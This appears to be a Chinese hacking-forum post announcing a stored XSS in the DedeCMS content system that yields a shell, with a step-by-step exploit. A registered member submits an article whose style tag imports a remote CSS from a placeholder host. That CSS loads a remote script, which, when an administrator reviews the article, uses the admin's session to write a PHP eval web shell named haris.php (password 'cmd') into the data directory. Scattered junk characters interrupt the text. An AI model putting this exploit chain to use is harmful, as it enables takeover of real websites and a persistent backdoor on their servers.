dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
# a( d$ e6 Y. J7 t: Z目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
/ F" {. D# W) n( I( Y- |条件有2个：
1.开启注册
+ c. g& T* N6 ?7 E3 ~( Y2.开启投稿
注册会员----发表文章
+ ]) [: o/ R# Z5 k/ w0 r3 Y/ g内容填写：
复制代码
( p# y1 w5 C; t/ T5 }5 |3 ]& W7 J<style>@im\port'\http://xxx.com/xss.css';</style>
; j0 ?* w; ]4 H3 Z0 O: b新建XSS.Css
复制代码
3 Y# c1 L+ `+ s; F.body{
2 p, ]6 R) k8 u* tbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
新建xss.js 内容为
6 p: [/ `8 q# o- y) i复制代码
% e$ F+ E# ^; W6 q7 B! e1.var request = false;
! o+ z6 }% D) |$ y* I' O2.if(window.XMLHttpRequest) {
3.request = new XMLHttpRequest();
) R8 Y' X, B5 Z3 [4.if(request.overrideMimeType) {
5.request.overrideMimeType('text/xml');
, H7 [" d6 F1 n6.}
3 N' u* G4 g7 w7 s! l7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 I. ~; g& i  _; P/ j; u9.for(var i=0; i<versions.length; i++) {
10.try {
11.request = new ActiveXObject(versions);
6 U3 `6 u9 v4 L; j7 k1 i& B% A* c12.} catch(e) {}
; p0 O6 C* m: g# v% {13.}
14.}
15.xmlhttp=request;
8 K+ v( Z1 j1 A$ m, i16.function getFolder( url ){
$ y/ @' F5 @1 e2 f/ k8 s17. obj = url.split('/')
18. return obj[obj.length-2]
9 A) M! ^! \! F/ V, P: d/ [19.}
$ u5 `4 i- n  N+ ?20.oUrl = top.location.href;
21.u = getFolder(oUrl);
22.add_admin();
23.function add_admin(){
* i' W& a: j' v' R) s24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
2 {& ?/ M" U! v! K! v6 e4 [26.xmlhttp.open("POST", url, true);
/ ?7 s* F6 u1 X0 ]. G0 D4 k27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
28.xmlhttp.setRequestHeader("Content-length", params.length);
; V0 f3 I1 u9 f% x, G- E' o29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
30.xmlhttp.send(params);
31.}
+ g3 `/ m5 v! }当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd